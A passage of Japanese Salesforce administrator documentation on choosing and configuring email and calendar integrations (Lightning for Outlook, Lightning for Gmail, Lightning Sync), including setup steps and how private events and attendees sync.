の商談に関連するすべての活動を取得します。2 か月ウィンドウから、未完了の ToDo と行動のみがブリーフ
ケースに送られます。[ToDo と行動] 親データセットは、ユーザの活動だけを取り出し、その活動も次の 30 日
間に予定されている未完了の ToDo と行動に限定します。取引先責任者データセットは、ユーザの取引先責任
者レコードを配布しますが、レコードは、最近アクティブな取引先責任者 500 件に制限されます。

関連トピック:

Connect Offline データセットの定義
Connect Offline ブリーフケース設定の管理

Microsoft® または Google のメールや Calendar アプリケーション
から Salesforce を操作するためのユーザ設定

ご存じのように、営業担当は、メールで見込み客に対応し、カレンダーで予定をスケジュールすることにとて
も多くの時間を費やしています。これらのアプリケーションから直接Salesforceの作業を実行するように設定し
て、営業担当の生産性を向上します。メールインテグレーション機能により、営業担当は、Microsoft Outlook®や
Gmail™を終了せずにSalesforceレコードを表示、作成し、メールをSalesforceに追加できるようになります。Microsoft

または Google の取引先責任者と行動を Salesforce と同期するようにユーザを設定することもできます。

適切なメールインテグレーション製品の選択
Salesforce には、営業担当が Salesforce を Microsoft® や Google のメールおよびカレンダーアプリケーションと統
合できるようにする製品がいくつかあります。製品を決定する前に、オプションを確認して営業担当のニー
ズに最適に対応する製品を選択します。
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Lightning for Outlook: Microsoft® Outlook® から Salesforce を操作するための営業担当の設定
営業チームが重要な商談を常に把握できます。Microsoft Office 365™ 環境の Microsoft® Outlook® Web App (OWA)、
Outlook 2016、Outlook for Mac 2016、Outlook 2013 を使用して、営業チームは販売をより効率的に管理できます。
営業担当は、メールや添付ファイルを Salesforce レコードに追加できます。また、グローバルアクションを
使用してメールアプリケーションから直接 Salesforce レコードを作成することもできます。
Lightning for Gmail: 営業担当が Gmail™ から Salesforce を操作可能 (ベータ)

営業担当が Gmail™ で作業中に直接 Salesforce コンテンツを表示し、販売パイプラインを効率的に管理して商
談をすばやく成立できるようにします。Gmail ユーザ向けのメールインテグレーションである Lightning for

Gmail では、営業担当が Salesforce と Gmail を切り替えずに営業関連のレコードをすばやく表示できます。
Lightning Sync: 営業担当の取引先責任者と行動の Microsoft® または Google と Salesforce 間の同期
クラウドベースのメールインテグレーション機能を使用すると、営業担当がメールアプリケーションと
Salesforce の間で取引先責任者や行動を同期できます。クラウドから同期できると、どのような利点がある
のでしょうか。まず、作業を完了するために、営業担当にソフトウェアのインストールを依頼する必要が
ありません。また、IT プロフェッショナルが機能を保守する作業が少なくて済みます。
Connect for Outlook: (終了)

すでに終了となった Connect for Outlook 製品に目を向けるのではなく、クラウドまたはデスクトップベース
の Microsoft インテグレーション製品である Lightning for Outlook または Salesforce for Outlook を検討することを強
くお勧めします。
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適切なメールインテグレーション製品の選択
エディション

次の機能を Salesforce
Classic および Lightning
Experienceから管理できま
す。

Lightning for Outlook を使用
可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Lightning Sync が使用可能
なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Salesforce for Outlook を使
用可能なエディション: す
べてのエディション

Salesforce には、営業担当が Salesforce を Microsoft® や Google のメールおよびカレン
ダーアプリケーションと統合できるようにする製品がいくつかあります。製品
を決定する前に、オプションを確認して営業担当のニーズに最適に対応する製
品を選択します。
営業担当におすすめのメールまたはカレンダーインテグレーション製品につい
ては、以下を確認してください。

詳細おすすめの Salesforce 製
品

営業担当が使用している
アプリケーションまたは
製品

クラウドベースの
Microsoft インテグレー
ション製品、Outlook 向け
Lightning および Lightning

Sync を使用すれば会社の
IT プロフェッショナルに
よるメンテナンスがいか
に少なくて済むかを学習
します。それは、これら
の機能がユーザによるイ
ンストールや定期的な
アップグレードを必要と
しないためです。営業担
当がシステム要件を満た
している場合は、営業担
当が最新で最高の

Microsoft® メールアプリ
ケーション — Salesforce for

Outlookを使用してすでに
Salesforce と統合済み

• Microsoft インテグレー
ショントレイル:

Microsoft インテグレー
ションの利点

• Salesforce for Outlook か
ら Lightning for Outlook

および Lightning Sync へ
の移行に関する考慮事
項

Microsoft インテグレー
ション機能を今すぐ使用
できるように、移行に関
する考慮事項も確認しま
す。

Microsoft インテグレー
ショントレイル: Microsoft

各 Microsoft インテグレー
ション製品について学習

Microsoft メールおよびカ
レンダーアプリケーショ
ン インテグレーションの利

点
し、営業担当に最適なも
のを決定します。

Lightning Sync for Google

(ベータ)
Google 向け Lightning Sync

について学習し、営業担
当に最適かどうか判断し
ます。

Google カレンダー™ と
Google コンタクト
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詳細おすすめの Salesforce 製品営業担当が使用しているアプリケー
ションまたは製品

Lightning for Gmail: 営業担当が Gmail・
から Salesforce を操作可能 (ベータ)

Gmail 向け Lightning について学習
し、営業担当に最適かどうか判断
します。

Gmail™

Salesforce for Outlook から Lightning for Outlook と Lightning Sync に移行する場合
の考慮事項

エディション

管理可能なエディション:
Salesforce Classic と
Lightning Experience

Lightning for Outlook を使用
可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Lightning Sync を使用可能
なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Salesforce for Outlook を使
用可能なエディション: す
べてのエディション

Salesforce for Outlook から Lightning for Outlook と Lightning Sync に移行する前に、次の
同期に関する考慮事項をすばやく把握しましょう。

Lightning for Outlook と Salesforce for Outlook を同時に実行する場合の制限事項
同じ組織で Lightning for Outlook と Salesforce for Outlook サイドパネルの両方を有
効にすることはできますが、ユーザは両方の Microsoft®インテグレーション機
能を同時に実行することはできません。
Lightning Sync による Salesforce for Outlook との同期の競合の対処方法
両方の機能で同一のレコードを同期するようにユーザが割り当てられている
場合に、Salesforce で同期の競合にどのように対処するかについて説明しま
す。

関連トピック:

Lightning Sync の考慮事項
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Lightning for Outlook と Salesforce for Outlook を同時に実行する場合の制限事項

エディション

管理可能なエディション:
Salesforce Classic と
Lightning Experience

Lightning for Outlook を使用
可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Salesforce for Outlook を使
用可能なエディション: す
べてのエディション

同じ組織で Lightning for Outlookと Salesforce for Outlookサイドパネルの両方を有効に
することはできますが、ユーザは両方の Microsoft® インテグレーション機能を同
時に実行することはできません。
ユーザが複数のメールインテグレーション機能を同時に使用しないように、ユー
ザが Lightning for Outlookに接続すると、Salesforce for OutlookサイドパネルがSalesforce

によって自動的に切断されます。Lightning for Outlook ユーザは、引き続き
Salesforce for Outlook のダウンロード、インストール、および同期を行うことがで
きますが、Lightning for Outlook は Outlook でのみ実行できます。

関連トピック:

適切なメールインテグレーション製品の選択
Lightning Sync による Salesforce for Outlook との同期の競合の対処方法

Lightning Sync による Salesforce for Outlook との同期の競合の対処方法

エディション

管理可能なエディション:
Salesforce Classic と
Lightning Experience

Lightning Sync を使用可能
なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Salesforce for Outlook を使
用可能なエディション: す
べてのエディション

両方の機能で同一のレコードを同期するようにユーザが割り当てられている場
合に、Salesforce で同期の競合にどのように対処するかについて説明します。
ユーザを Salesforce for Outlookから Lightning Syncに移行する場合、Lightning Syncユー
ザに対して Salesforce for Outlook を無効にすることをお勧めします。
この競合は Salesforce が自動的に管理しますが、このベストプラクティスを使用
すると、複雑な同期設定を作成することが回避されます。複雑な同期設定は後
になって管理が困難になる可能性があります。
Lightning Sync ユーザに対して Salesforce for Outlook を無効にせず、Outlook 設定と
Lightning Sync設定が競合し、その両方で同一のレコードを同期するようにユーザ
を割り当てた場合、Salesforceは、Lightning Sync設定でその種のレコードに対して
定義された設定を自動的に優先します。
Salesforce は設定ではなくレコード単位で優先を決定するため、どちらかまたは
両方の機能が営業担当の Microsoft® 項目を同期する可能性があります。
たとえば、ユーザが Outlook 設定では取引先責任者、行動、および ToDo を同期す
るように割り当てられ、Lightning Sync設定では取引先責任者および行動を同期す
るように割り当てられている場合、ユーザの ToDo は Salesforce for Outlookと同期さ
れ、ユーザの取引先責任者および行動は Lightning Sync と同期されます。

関連トピック:

適切なメールインテグレーション製品の選択
Lightning for Outlook と Salesforce for Outlook を同時に実行する場合の制限事項
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Lightning for Outlook: Microsoft® Outlook® から Salesforce を操作するた
めの営業担当の設定

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

営業チームが重要な商談を常に把握できます。Microsoft Office 365™環境の Microsoft®

Outlook® Web App (OWA)、Outlook 2016、Outlook for Mac 2016、Outlook 2013 を使用し
て、営業チームは販売をより効率的に管理できます。営業担当は、メールや添
付ファイルを Salesforce レコードに追加できます。また、グローバルアクション
を使用してメールアプリケーションから直接 Salesforce レコードを作成すること
もできます。
まず、Lightning for Outlook を有効にしてから、営業チームメンバーが簡単な設定
手順を実行します。その後、チームメイトは Outlook 内でメールまたはイベント
を選択し (1)、Salesforce を選択します (2)。これにより、関連する取引先責任
者、リード、ユーザが表示されます。また、関連する取引先、商談、ケースも
表示されます (3)。

営業担当は Outlook から直接 Salesforce レコードを作成できます (4)。営業担当は、Lightning for Outlook でレコード
を選択して詳細 (Chatter フィード、活動タイムライン、関連リストなど) を表示したり、インライン編集機能を
使用してメールアプリケーションでレコードを変更したり、レコードまたはレコードに関連するメールについ
ての詳細を Salesforce で直接取得したりできます (5)。
Lightning for Outlookでは、営業担当はメールを関連付ける方法と同じように次の行動をSalesforceレコードに関連
付けることができます。
• 営業担当が参加する行動
• 営業担当が主催する行動 (Windows 用の Outlook 2016 または Office 365 の Outlook Web App で作業している場合)

行動を関連付けるには、営業担当は Microsoft メールアプリケーションで行動を選択します。次に、Salesforce を
選択します (1)。
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関連するSalesforceレコードが表示されます (2)。メールを操作するときのように、営業担当はメールアプリケー
ションでレコードを選択して詳細を表示したり、レコードを作成したり、レコードに関する詳細をSalesforceで
直接取得したりできます (3)。

Microsoft® Outlook® での営業チームの Salesforce 環境の設定
営業チームがグローバルアクションを使用して、Outlook Web App (OWA)、Outlook 2016、Outlook for Mac 2016、
Outlook 2013 で直接 Salesforce レコードを参照および作成できるようにします。
営業担当の Lightning for Outlook のカスタマイズ
Lightning for Outlookユーザは、Microsoft® Outlook®で表示および操作する Salesforceコンテンツをカスタマイズし
て、作業効率を向上させることができます。
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Microsoft® Outlook® での営業チームの Salesforce 環境の設定

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

Lightning for Outlook を有効
にする
• 「アプリケーションの

カスタマイズ」

営業チームがグローバルアクションを使用して、Outlook Web App (OWA)、Outlook

2016、Outlook for Mac 2016、Outlook 2013 で直接 Salesforceレコードを参照および作成
できるようにします。
1. Salesforce の [設定] から、[クイック検索] ボックスに「Lightning for

Outlook」と入力し、[Lightning for Outlook の設定] を選択します。

2. Lightning for Outlook を有効にします。変更内容を保存します。
ホワイトリストおよび対応付けセクションが表示されたら、変更を加える必要はありません。

3. Lightning for Outlook を設定した環境を選択します。

ヒント: 後は営業チームが各自で処理できるようにします。Microsoft Office ストアから、営業チームが
Lightning for Outlook を入手してインストールできることを確認します。こうすれば、Lightning for Outlook

を自分でインストールするチームメートが増え、時間を削減できます。
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4. オンプレミスの Exchange 2016 または 2013 を使用している場合は、[Exchange メタデータ URL]を更新します。
次のセクションでホワイトリストのドメインを更新します。

Microsoft® Exchange® Center からの Lightning for Outlook の追加
営業チームが Lightning for Outlookを操作できるようにするには、チームメンバーに Lightning for Outlookアドイ
ンへのアクセス権が必要です。チームメンバーはアドインを各自で入手して有効化できます。または、設
定の問題を避けるため、メンバー全員が同時にすばやくこの手順を完了できるようにすることも可能です。
会社の Microsoft Exchange システム管理者に連絡し、すべてのチームメンバーに Lightning for Outlook アドイン
への同時アクセス権を付与するように依頼してください。これにより、営業担当は時間を節約してすぐに
Lightning for Outlook の使用を開始できます。

Microsoft® Exchange® Center からの Lightning for Outlook の追加

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

Lightning for Outlook アドイ
ンを有効にする
• 会社の Exchange アカ

ウントへの管理者アク
セス権

営業チームが Lightning for Outlook を操作できるようにするには、チームメンバー
に Lightning for Outlook アドインへのアクセス権が必要です。チームメンバーはア
ドインを各自で入手して有効化できます。または、設定の問題を避けるため、
メンバー全員が同時にすばやくこの手順を完了できるようにすることも可能で
す。会社の Microsoft Exchange システム管理者に連絡し、すべてのチームメンバー
に Lightning for Outlook アドインへの同時アクセス権を付与するように依頼してく
ださい。これにより、営業担当は時間を節約してすぐに Lightning for Outlook の使
用を開始できます。
チームに対して Lightning for Outlook アドインを有効にするには、Exchange システ
ム管理者と協力して Microsoft Exchange 管理センターから次の手順を実行します。
1. Exchange 管理センターで、[管理] タイルをクリックします。
2. 管理センターから、[Exchange] をクリックします。
3. 組織の [アドイン] をクリックします。
4.

をクリックして [Office Store から追加] オプションを選択します。

メモ: [URL から追加] および [ファイルから追加] オプションは使用でき
ません。

5. [Outlook 用アドイン] ページから、[検索] ボックスに「Lightning for

Outlook」と入力し、検索結果から [Salesforce Lightning for Outlook] を選択し
ます。

6. [追加] をクリックし、Lightning for Outlook アドインを入手することを確認します。

メモ: この手順でエラーが発生しないように、Exchange サーバが Microsoft Office ストアに接続できるこ
とを確認してください。

7. 営業担当に Lightning for Outlook アドインへのアクセス権を付与する方法に応じて、[アドインを管理] ページ
から次のいずれかのオプションを設定します。
• 省略可能、デフォルトで有効
• 省略可能、デフォルトで無効
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• 必須、常に有効。ユーザはこのアドインを無効にできません。

メモ: 営業担当のサブセットに対して Lightning for Outlook アドインを有効にするには、PowersShell™ コマ
ンドを使用できます。詳細は、Microsoft サポート Web サイトにアクセスしてここで示すキーワードを
検索し、ご使用の Exchange バージョンの手順に従ってください。

営業チームが Lightning for Outlook を使用できるようにするには、Salesforce で Lightning for Outlook を有効にする手
順を実行します。

関連トピック:

Microsoft Exchange 新しいアプリケーションライブラリ:

営業担当の Lightning for Outlook のカスタマイズ

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

Lightning for Outlook をカス
タマイズする、Lightning
アプリケーションビル
ダーで Lightning ページを
作成および保存する
• 「アプリケーションの

カスタマイズ」

Lightning アプリケーショ
ンビルダーで Lightning
ページを参照する
• 「設定・定義を参照す

る」

Lightning for Outlook ユーザは、Microsoft® Outlook® で表示および操作する Salesforce コ
ンテンツをカスタマイズして、作業効率を向上させることができます。
ユーザの Lightning for Outlook をカスタマイズするには、最初に Lightning for Outlook

のカスタムコンテンツを有効にする必要があります。
1. [設定] から、[クイック検索] ボックスに「Lightning for Outlook」と入

力し、[Lightning for Outlookの設定] を選択します。
2. [アプリケーションビルダーを使用したコンテンツのカスタマイズ (ベータ)]

を有効にします。
3. Salesforce Classic では、[保存] をクリックします。

これで、Lightning アプリケーションビルダーを使用してカスタムメールアプ
リケーションペインを作成できるようになりました。

1. Lightning for Outlook ユーザ向けのカスタムメールアプリケーションペインの作
成
Lightning アプリケーションビルダーでカスタムメールアプリケーションペイ
ンを作成して、Lightning for Outlookで営業担当に表示される Salesforceコンテン
ツを選択します。

2. Lightning for Outlook ユーザへのカスタムメールアプリケーションペインの割り
当て
カスタムメールアプリケーションペインをLightning for Outlookユーザにロール
アウトするには、ペインを有効化して、ユーザプロファイルに割り当てま
す。
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Lightning for Outlook ユーザ向けのカスタムメールアプリケーションペインの作成

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

Lightning for Outlook をカス
タマイズする、Lightning
アプリケーションビル
ダーで Lightning ページを
作成および保存する
• 「アプリケーションの

カスタマイズ」

Lightning アプリケーショ
ンビルダーで Lightning
ページを参照する
• 「設定・定義を参照す

る」

Lightning アプリケーションビルダーでカスタムメールアプリケーションペインを
作成して、Lightning for Outlook で営業担当に表示される Salesforce コンテンツを選
択します。
メールアプリケーションペインを作成して、Lightning for Outlook ユーザが Outlook

から表示および操作する標準コンポーネントまたはカスタムコンポーネントを
追加します。AppExchange にあるコンポーネントを使用することもできます。
1. メールアプリケーションペインを作成します。この手順は、作業環境 (Lightning

Experience または Salesforce Classic) によって異なります。
• Lightning Experience では、次の手順を実行します。

[設定] から、[クイック検索]ボックスに「Lightning for Outlook」と
入力し、[設定]を選択します。メールアプリケーションペインで[新規]を
クリックします。

• Salesforce Classic では、次の手順を実行します。
[設定] から、[クイック検索] ボックスに「アプリケーションビルダー」と
入力し、[Lightning ページ] で [新規] を選択します。

2. [メールアプリケーションペイン (ベータ)] を選択します。
3. ペインの一意の表示ラベルを指定し、[次へ] をクリックします。
4. 空のレイアウトで開始するには、[ペイン] テンプレートを選択します。標準

コンポーネントが含まれるレイアウトで開始するには、システムデフォルト
ページをコピーします。

5. [完了] をクリックします。
6. コンポーネントをペインにドラッグします。

コンポーネントの順序を変更するには、上下にドラッグします。
7. キャンバスの空の領域をクリックしてページのプロパティを表示し、ペインの説明を追加します。
8. [保存] をクリックします。
Lightning for Outlook ユーザがメールアプリケーションペインを使用できるようにするには、ペインを有効化し
て、ユーザプロファイルに割り当てます。

関連トピック:

営業担当の Lightning for Outlook のカスタマイズ
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Lightning for Outlook ユーザへのカスタムメールアプリケーションペインの割り当て

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

Lightning for Outlook をカス
タマイズする、Lightning
アプリケーションビル
ダーで Lightning ページを
作成および保存する
• 「アプリケーションの

カスタマイズ」

Lightning アプリケーショ
ンビルダーで Lightning
ページを参照する
• 「設定・定義を参照す

る」

カスタムメールアプリケーションペインを Lightning for Outlook ユーザにロールア
ウトするには、ペインを有効化して、ユーザプロファイルに割り当てます。
ペインをすべてのユーザのデフォルトとして設定したり、特定のユーザプロファ
イルに割り当てたりできます。
ペインの割り当てを編集するには、次の手順に従います。
1. メールアプリケーションペインにアクセスします。この実行手順は、作業環

境 (Lightning Experience または Salesforce Classic) によって異なります。
• Lightning Experienceの [設定] から、[クイック検索]ボックスに「Lightning

for Outlook」と入力し、[Lightning for Outlook の設定] を選択します。
• Salesforce Classic の [設定] から [クイック検索] ボックスに「アプリケーショ

ンビルダー」と入力し、[Lightning アプリケーションビルダーの設定]を選
択します。

2. 有効化するユーザプロファイルの [編集] をクリックします。
3. [有効化] をクリックします。

メモ: Lightning Experienceから [ページの割り当てを設定]をクリックして、
メールアプリケーションペインを複数のユーザプロファイルに割り当て
ることができます。

関連トピック:

営業担当の Lightning for Outlook のカスタマイズ

Lightning for Gmail: 営業担当が Gmail™ から Salesforce を操作可能 (ベー
タ)

エディション

管理可能なエディション:
Salesforce Classic と
Lightning Experience

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

営業担当が Gmail™ で作業中に直接 Salesforce コンテンツを表示し、販売パイプラ
インを効率的に管理して商談をすばやく成立できるようにします。Gmail ユーザ
向けのメールインテグレーションである Lightning for Gmail では、営業担当が
Salesforceと Gmail を切り替えずに営業関連のレコードをすばやく表示できます。

メモ:

営業チームに対して Lightning for Gmail を有効にしたら、チームメンバーは次の操
作を実行できます。
• 送受信した Gmail メッセージに関連する、Salesforceの取引先責任者、リード、

取引先、商談、ケースを表示する (1)。
• 使用可能なアクションを使用して、カスタムオブジェクトレコードを検索

し、Salesforceレコードを作成する。インライン編集機能を使用して、Gmail を
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終了せずにレコードを変更することもできます (2)。

• Lightning for Gmail から Salesforce レコードの詳細を調べる。営業担当は、レコードの詳細ページに加えて、
Chatter フィード、活動タイムライン、関連リストを表示できます。
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• Salesforce レコードを表示して、Google カレンダーのイベントおよびメールに関連付ける。

Lightning for Gmail: Gmail™ から Salesforce を操作するための営業担当の設定 (ベータ)

営業チームが Gmail で直接 Salesforce レコードを参照、作成、および変更できるようにします。
Lightning for Gmail: 拡張メールの有効化 (ベータ)

Lightning for Gmail で拡張メールをオンに切り替えれば、営業担当はメールを Salesforce の関連レコードに素早
く簡単に関連付けられるようになります。
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Lightning for Gmail: Gmail™ から Salesforce を操作するための営業担当の設定
(ベータ)

エディション

管理可能なエディション:
Salesforce Classic と
Lightning Experience

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

Lightning for Gmail を有効
にする
• 「アプリケーションの

カスタマイズ」

営業チームが Gmail で直接Salesforceレコードを参照、作成、および変更できるよ
うにします。
営業チームが Lightning for Gmail の使用を開始するには、営業チームに対して
Lightning for Gmail を有効にする必要があります。
1. Salesforce の [設定] から、[クイック検索] ボックスに「Lightning for

Gmail」と入力し、[Lightning for Gmail (ベータ) の設定] を選択します。
2. Lightning for Gmail を有効にします。
3. 営業担当に Lightning for Gmail のグローバルアクションへのアクセス権を付与

するには、[Lightning for Gmail パブリッシャーレイアウト] セクションからパ
ブリッシャーレイアウトを新規作成するか、既存のパブリッシャーレイアウ
トを割り当てます。変更内容を保存します。

次に、Lightning for Gmail での作業を開始するには、営業チームメンバーが Gmail で
簡単な設定手順を実行します。

Lightning for Gmail: 拡張メールの有効化 (ベータ)

エディション

管理可能なエディション:
Salesforce Classic と
Lightning Experience

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Lightning for Gmail で拡張メールをオンに切り替えれば、営業担当はメールを
Salesforce の関連レコードに素早く簡単に関連付けられるようになります。
拡張メールでは、営業担当が、関連取引先、商談、ケース、カスタムオブジェ
クト、取引先責任者にメールを関連付けると、メールのすべての取引先責任者、
リード、ユーザは自動的に関連付けられます。メールは Salesforce にメールメッ
セージレコードとして追加されます。営業担当は、Salesforce からリッチテキス
ト形式でメールを表示できます。Salesforce でのメールは、太字、斜体、下線付
き、色付きの文字、リスト、表は元の状態のままで表示されます。拡張メール
を営業担当用に有効にすると、営業担当は添付ファイルを関連 Salesforce レコー
ドに追加することもできます。
営業担当が Lightning for Gmail で拡張メールを使用できるようにするには、最初に
拡張メールが組織で有効になっていることを確認します。次に、Lightning for Gmail

の [設定] ページからこの機能の拡張メールを有効にします。

Lightning for Gmail を使用した拡張メールに関する考慮事項
Lightning for Gmail の拡張メールをオンに切り替える前に、検討すべき考慮事項があります。
• 営業担当は、取引先責任者、リード、およびメール受信者リストに含まれているSalesforceユーザなどにメー

ルを関連付けることができます。
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• メール受信者に加えて、取引先、商談、ケース、カスタムオブジェクトなどのもう 1 つの Salesforce レコー
ドにメールを関連付けることができます。

• ケースに関連付けられたメールの場合、営業担当は元のメールメッセージレコードを削除して元のリレー
ションを削除した後に、リレーションを別のケースに変更できます。

• リードに関連付けられたメールの場合、営業担当はそのリードがメールの受信者または送信者である場合
に、リレーションを別のリードに変更できます。

• 取引先、商談、またはカスタムオブジェクトレコードに関連付けられたメールの場合、営業担当はリレー
ションを他の Salesforce レコード (ケース以外) に変更できます。

Lightning Sync: 営業担当の取引先責任者と行動の Microsoft® または
Google と Salesforce 間の同期

エディション

管理可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

クラウドベースのメールインテグレーション機能を使用すると、営業担当がメー
ルアプリケーションと Salesforce の間で取引先責任者や行動を同期できます。ク
ラウドから同期できると、どのような利点があるのでしょうか。まず、作業を
完了するために、営業担当にソフトウェアのインストールを依頼する必要があ
りません。また、IT プロフェッショナルが機能を保守する作業が少なくて済み
ます。
Lightning Sync には、いくつかのバージョンの Microsoft Exchange、Google コンタク
ト、および Google カレンダー™ との互換性があります。
Lightning Sync for Microsoft Exchange では、営業担当の取引先責任者がシステム間で
同期され、営業担当の行動が Exchange ベースのカレンダーから Salesforce に同期
されます。Lightning Sync for Google (ベータ) では、営業担当の取引先責任者が
Salesforceから Google コンタクトに同期され、営業担当の予定が Google カレンダー
から Salesforce に同期されます。

営業担当のデータは Lightning Sync でどのように同期されますか?

営業担当が Lightning Syncを使用するように設定されている場合に、Lightning Syncで営業担当の取引先責任者
と行動が処理される方法について説明します。
Lightning Sync の考慮事項
Lightning Sync を営業担当にロールアウトする前に、次の考慮事項についてよく理解してください。
Lightning Sync for Microsoft® Exchange

Microsoft® Exchange サーバと Salesforce の間で、営業担当がソフトウェアのインストールおよび保守を行わず
に取引先責任者や行動を同期できるようにします。
Lightning Sync for Google (ベータ)

ユーザが Google アプリケーションと Salesforce の間で取引先責任者と予定を同期できるようにします。
Lightning Sync ユーザの管理
Lightning Syncを設定後、この機能に関する営業担当の操作性を管理し、問題のトラブルシューティング時に
ユーザをサポートします。
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営業担当のデータは Lightning Sync でどのように同期されますか?
営業担当が Lightning Sync を使用するように設定されている場合に、Lightning Sync で営業担当の取引先責任者と
行動が処理される方法について説明します。

イベント参加者の同期
Lightning Sync を使用して、営業担当の Microsoft®または Google カレンダー™から Salesforceにイベント参加者を
同期する方法と状況について説明します。
非公開の行動の同期
営業担当が Lightning Sync を使用するように設定している場合に、Salesforce と営業担当のカレンダーアプリ
ケーション間で非公開の行動が同期される方法について説明します。
行動の削除
営業担当がカレンダーと Salesforce の両方から 1 回のアクションで行動を削除できるように設定できます。

イベント参加者の同期

エディション

管理可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Lightning Sync を使用して、営業担当の Microsoft® または Google カレンダー™ から
Salesforce にイベント参加者を同期する方法と状況について説明します。
この同期により、営業チーム全体がどの見込み客、顧客、同僚がミーティング
に出席するかを Salesforce から直接表示できます。参加者の返答も同期されるた
め、チームメンバーは誰が実際に参加するかも確認できます。
イベント参加者の同期を開始するために、追加の設定は必要ありません。次の
ようなとき、イベント参加者の詳細は Salesforce に自動的に同期されます。
• Lightning Sync でイベントを同期するように、イベントオーガナイザが設定さ

れている。
• イベント参加者のメールアドレスが、Salesforce の取引先責任者、リード、

ユーザプロファイルのいずれかと一致する。
イベント参加者の同期は、イベントオーガナイザを使用して実行されます。頻
繁にミーティングに参加するすべてのSalesforceユーザに対してイベントの同期を設定すると、営業チームはイ
ベント参加者の同期を最大限に活用できます。このように設定しない場合、イベント参加者の同期が制限され
る可能性があります。

制限事項
参加者がすでに同期されているときに参加者を同期するようにオーガナイザを設定すると、次の制限が適用さ
れる可能性があります。
• 一部のイベント参加者は Salesforce の行動に表示されません。
• イベント参加者の同期をリセットすると、その出席者が Salesforce の行動で重複することがあります。
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非公開の行動の同期

エディション

管理可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

営業担当がLightning Syncを使用するように設定している場合に、Salesforceと営業
担当のカレンダーアプリケーション間で非公開の行動が同期される方法につい
て説明します。
営業担当は行動を非公開としてマークすることで、Salesforce およびカレンダー
アプリケーションで同僚に自分の行動が表示されないようにすることができま
す。
営業担当の Lightning Sync 設定で行動の同期を選択し、[非公開の行動を同期] を
有効にしない限り、Lightning Syncはシステム間で営業担当の非公開の行動を同期
しません。
有効にすると、次回の同期サイクルで新規および更新された非公開の行動が同
期されます (通常、同期サイクルは数分おきに発生します)。非公開の行動は、営
業担当の設定で決定した条件に従って同期されます。
非公開の行動の同期が開始されるときに、非公開の行動詳細が営業担当の同僚に表示されます。表示方法は、
行動が表示されているシステムおよびSalesforceで設定しているカレンダー共有設定という 2 つの要素で決まり
ます。
Salesforceでは、非公開の行動の開始時間と終了時間は同僚に表示されますが、行動の詳細は表示されません。
すべての非公開の行動の詳細は、行動を参照、編集、レポートできる Salesforce システム管理者に表示されま
す。営業担当は、[個人設定] でカレンダー共有レベルを変更することで、より多くの非公開の行動の詳細を
同僚と共有できます。
カレンダーアプリケーションでは、非公開の行動の詳細は従来どおり同僚およびスーパーバイザと共有されま
す。詳細は、そのカレンダーアプリケーションのドキュメントを参照してください。
非公開の行動の同期を無効にすると、営業担当の非公開の行動は次回の同期サイクル時に同期されず、再度同
期されることはありません。Salesforceと営業担当のカレンダーで以前同期された各非公開の行動のバージョン
は、営業担当がいずれかまたは両方を削除するまで両方にそのまま残ります。

重要: 営業担当の非公開の行動の同期設定、およびその設定への変更について、Salesforceから営業担当に
通知することはありません。営業担当が適宜カレンダーを準備できるように、営業担当に同期の動作に
ついて伝えることが重要です。この処理により、営業担当が安心して非公開の行動を同期できます。ま
た、親族の誕生日パーティなどが Salesforce で共有されることがなくなります。

関連トピック:

Salesforce と Microsoft® Outlook® における非公開項目の違いは何ですか?
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行動の削除

エディション

管理可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

営業担当がカレンダーと Salesforce の両方から 1 回のアクションで行動を削除で
きるように設定できます。
営業担当が同期中の行動を 1 回のアクションで自動的に削除できるように設定
できます。Lightning Sync 設定から営業担当のこの設定を選択します。
その後、営業担当がカレンダーアプリケーションからイベントを削除すると、
それに対応するSalesforceの行動がLightning Syncによって自動的に削除されます。
行動の同期は営業担当のカレンダーから Salesforce のみで行われるため、行動の
